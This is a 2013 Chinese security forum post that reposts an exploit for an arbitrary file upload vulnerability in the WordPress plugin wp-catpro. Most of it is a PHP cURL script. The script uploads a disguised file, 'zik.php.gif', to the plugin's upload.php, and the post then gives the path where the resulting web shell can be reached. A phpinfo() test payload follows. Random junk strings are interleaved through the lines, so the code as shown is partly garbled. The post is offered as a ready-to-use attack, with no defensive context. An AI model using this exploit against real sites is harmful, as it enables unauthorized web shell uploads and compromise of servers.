找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2210|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. [- \- h4 x0 U& q3 d* U1 q2 v
#-----------------------------------------------------------------------& u% H! ^( z8 ?; S  F0 a

9 i. }5 Y. i" C1 T8 I% m& j作者  => Zikou-16
( N6 w' e! a; A4 V邮箱 => zikou16x@gmail.com
2 G5 A! O7 ^( H1 y( @3 m测试系统 : Windows 7 , Backtrack 5r35 t' e: ^! F1 c8 ?1 W( q
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip. B; Y: d& {" I8 `
####
2 c/ j6 ~: l# t  a+ _$ R & R0 E- F% d2 G$ ^
#=> Exploit 信息:
9 c3 |. o$ f% n/ x/ |& |8 g------------------
0 i/ G, S6 A: R! E2 _# 攻击者可以上传 file/shell.php.gif- G/ w) g3 }2 \1 Z- O$ _* {0 h
# ("jpg", "gif", "png")  // Allowed file extensions
3 a6 |& _; }; w$ E$ \# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment), R3 Z1 K& {. Z, r# \, m& e
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)/ B/ [" c) e2 B# \0 G5 h
------------------
! J6 K$ D! w# `- D
) X" f# D( W5 I5 c6 @2 u: T9 }#=> Exploit
2 P" v- a% |! l8 l2 _-----------/ N6 t( b+ |2 u1 I
<?php
, U! R/ ], K1 p+ y   @! S8 b  T6 x
$uploadfile="zik.php.gif";+ m2 W3 ?  Q9 T% r% @+ d6 j0 _; _$ o
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
; h( S% F4 a/ H- @+ \, p! O+ Bcurl_setopt($ch, CURLOPT_POST, true);
7 b- R6 U1 J- o! R7 o: Q/ Icurl_setopt($ch, CURLOPT_POSTFIELDS,
  d, I  x% L$ Y5 Narray('Filedata'=>"@$uploadfile",- t2 ~$ R6 U& E) f5 d' c0 p
'folder'=>'/wp-content/uploads/catpro/'));7 J% J$ E) g3 a& g
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
9 p3 l: O9 q1 h  S2 i$postResult = curl_exec($ch);: w5 u& V" R# }' n+ S: h
curl_close($ch);5 ]# |: M' K3 C0 S; S# @$ q& T
3 c) N7 _* k8 J! w9 e% ~
print "$postResult";
/ m2 Z% N; t  I# r: I$ ]& ~4 N! u % }0 |: J* I0 f: w+ ?
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ N% m* F& H$ i  ?>
5 y, R/ B( Z' l7 q, _0 e, t. |, r<?php
- z) g6 y: H, O. I: e; U- U1 u2 h4 Cphpinfo();
9 B2 h2 }' M* \* C2 f1 j+ ?% x?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表